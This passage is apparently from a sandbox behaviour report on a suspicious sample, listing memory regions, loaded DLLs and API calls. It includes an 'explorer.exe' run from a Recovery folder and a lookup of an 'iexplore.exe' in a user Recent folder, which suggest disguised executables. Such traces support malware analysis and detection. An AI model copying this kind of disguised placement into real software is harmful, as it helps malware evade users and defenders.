"private_0x00000000004c0000" filename = "" Region: id = 9076 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 9098 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9099 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9115 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9130 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9141 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9160 start_va = 0x4b0000 end_va = 0x511fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9177 start_va = 0x5c0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 9178 start_va = 0x620000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9179 start_va = 0x1b040000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b040000" filename = "" Region: id = 9180 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9181 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 9337 start_va = 0x1b2a0000 end_va = 0x1b39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2a0000" filename = "" Region: id = 9338 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9339 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9340 start_va = 0x6a0000 end_va = 0x6e4fff monitored = 0 entry_point = 0x6a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9341 start_va = 0x6a0000 end_va = 0x6e4fff monitored = 0 entry_point = 0x6a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9342 start_va = 0x6a0000 end_va = 0x6e4fff monitored = 0 entry_point = 0x6a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9343 start_va = 0x6a0000 end_va = 0x6e4fff monitored = 0 entry_point = 0x6a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9344 start_va = 0x6a0000 end_va = 0x6e4fff monitored = 0 entry_point = 0x6a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9395 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9396 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9428 start_va = 0x1b160000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 9429 start_va = 0x1ae60000 end_va = 0x1ae9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae60000" filename = "" Region: id = 9430 start_va = 0x1af20000 end_va = 0x1af9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 9431 start_va = 0x1b3a0000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3a0000" filename = "" Region: id = 9432 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9433 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9459 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 9488 start_va = 0x1b660000 end_va = 0x1b75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b660000" filename = "" Region: id = 9489 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9492 start_va = 0x1b7f0000 end_va = 0x1b8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7f0000" filename = "" Region: id = 9493 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9511 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9527 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9536 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9550 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 9567 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 9663 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9664 start_va = 0x1b8f0000 end_va = 0x1bbc1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 377 os_tid = 0x59c [0262.937] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.078] EtwEventRegister (in: ProviderId=0x2665840, EnableCallback=0x1af2135c, CallbackContext=0x0, RegHandle=0x2665820 | out: RegHandle=0x2665820) returned 0x0 [0277.078] EtwEventRegister (in: ProviderId=0x2669fb0, EnableCallback=0x1af213ac, CallbackContext=0x0, RegHandle=0x2669f90 | out: RegHandle=0x2669f90) returned 0x0 [0279.143] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x313d10*=0xd8, lpdwindex=0x1ce744 | out: lpdwindex=0x1ce744) returned 0x0 [0280.657] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x313d10*=0xd8, lpdwindex=0x1ce744) Thread: id = 427 os_tid = 0x344 Thread: id = 434 os_tid = 0x784 [0262.966] CoGetContextToken (in: pToken=0x1a77f280 | out: pToken=0x1a77f280) returned 0x800401f0 [0262.966] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 440 os_tid = 0x340 Thread: id = 476 os_tid = 0x880 [0278.214] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.215] CoGetContextToken (in: pToken=0x1b13f870 | out: pToken=0x1b13f870) returned 0x0 [0278.215] CObjectContext::QueryInterface () returned 0x0 [0278.215] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.215] Release () returned 0x0 [0278.215] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.216] CoUninitialize () [0288.622] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b13dc98 | out: phkResult=0x1b13dc98*=0x0) returned 0x2 [0288.623] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.887] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent\\iexplore.exe", nBufferLength=0x105, lpBuffer=0x1b13e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent\\iexplore.exe", lpFilePart=0x0) returned 0x24 Thread: id = 477 os_tid = 0x884 Thread: id = 516 os_tid = 0x924 Thread: id = 542 os_tid = 0x99c Thread: id = 543 os_tid = 0x9a0 Thread: id = 544 os_tid = 0x9a4 Thread: id = 562 os_tid = 0x9ec [0282.845] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0282.846] CoGetContextToken (in: pToken=0x1b75f470 | out: pToken=0x1b75f470) returned 0x0 [0282.846] CObjectContext::QueryInterface () returned 0x0 [0282.846] CObjectContext::GetCurrentThreadType () returned 0x0 [0282.846] Release () returned 0x0 [0282.846] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0282.846] CoUninitialize () Thread: id = 563 os_tid = 0x9f0 [0282.848] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0282.849] CoGetContextToken (in: pToken=0x1b8ef7d0 | out: pToken=0x1b8ef7d0) returned 0x0 [0282.849] CObjectContext::QueryInterface () returned 0x0 [0282.849] CObjectContext::GetCurrentThreadType () returned 0x0 [0282.849] Release () returned 0x0 [0282.849] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0282.849] CoUninitialize () Process: id = "87" image_name = "explorer.exe" filename = "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" page_root = "0x21deb000" os_pid = "0x5b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4e8" cmd_line = "C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fc5b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7353 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7354 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7355 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 7356 start_va = 0x810000 end_va = 0x8e5fff monitored = 1 entry_point = 0x8dd67e region_type = mapped_file name = "explorer.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe") Region: id = 7357 start_va = 0x77950000 end_va = 0x77af8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7358 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7359 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7360 start_va = 0x7feffc70000 end_va = 0x7feffc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7361 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7362 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 7363 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7364 start_va = 0x290000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7365 start_va = 0x7fefa650000 end_va = 0x7fefa6befff monitored = 1 entry_point = 0x7fefa651134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7366 start_va = 0x77730000 end_va = 0x7784efff monitored = 0 entry_point = 0x77745340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7367 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7459 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7460 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7461 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7462 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7463 start_va = 0xb0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7464 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7465 start_va = 0x3b0000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 7635 start_va = 0x430000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 7680 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7681 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7682 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7683 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7684 start_va = 0xb0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7685 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 7686 start_va = 0x430000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 7687 start_va = 0x620000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 7786 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7787 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7933 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7934 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7935 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7936 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7937 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7938 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7939 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 7940 start_va = 0x8f0000 end_va = 0xa77fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 7941 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7942 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7943 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7944 start_va = 0xa80000 end_va = 0xc00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 7945 start_va = 0xc10000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 7946 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7947 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7948 start_va = 0x530000 end_va = 0x5fffff monitored = 1 entry_point = 0x5fd67e region_type = mapped_file name = "explorer.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe") Region: id = 8202 start_va = 0x530000 end_va = 0x5fffff monitored = 1 entry_point = 0x5fd67e region_type = mapped_file name = "explorer.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe") Region: id = 8203 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8246 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8266 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8484 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8485 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8486 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8579 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8580 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8581 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8582 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8583 start_va = 0x7fe94a00000 end_va = 0x7fe94a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8584 start_va = 0x7fe94a10000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8585 start_va = 0x7fe94aa0000 end_va = 0x7fe94b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 8586 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8587 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8588 start_va = 0x530000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 8589 start_va = 0x6a0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 8618 start_va = 0x21b0000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 8619 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8620 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8621 start_va = 0x22b0000 end_va = 0x1a2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 8640 start_va = 0x1a2b0000 end_va = 0x1a62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a2b0000" filename = "" Region: id = 8641 start_va = 0x2010000 end_va = 0x2110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 8642 start_va = 0x1a810000 end_va = 0x1a90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a810000" filename = "" Region: id = 8643 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8650 start_va = 0x1a6b0000 end_va = 0x1a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6b0000" filename = "" Region: id = 8651 start_va = 0x1a910000 end_va = 0x1aa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a910000" filename = "" Region: id = 8652 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8657 start_va = 0x1aa10000 end_va = 0x1acdefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8665 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8706 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8707 start_va = 0x6a0000 end_va = 0x71cfff monitored = 0 entry_point = 0x6acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8708 start_va = 0x780000 end_va = 0x7fffff monitored = 1 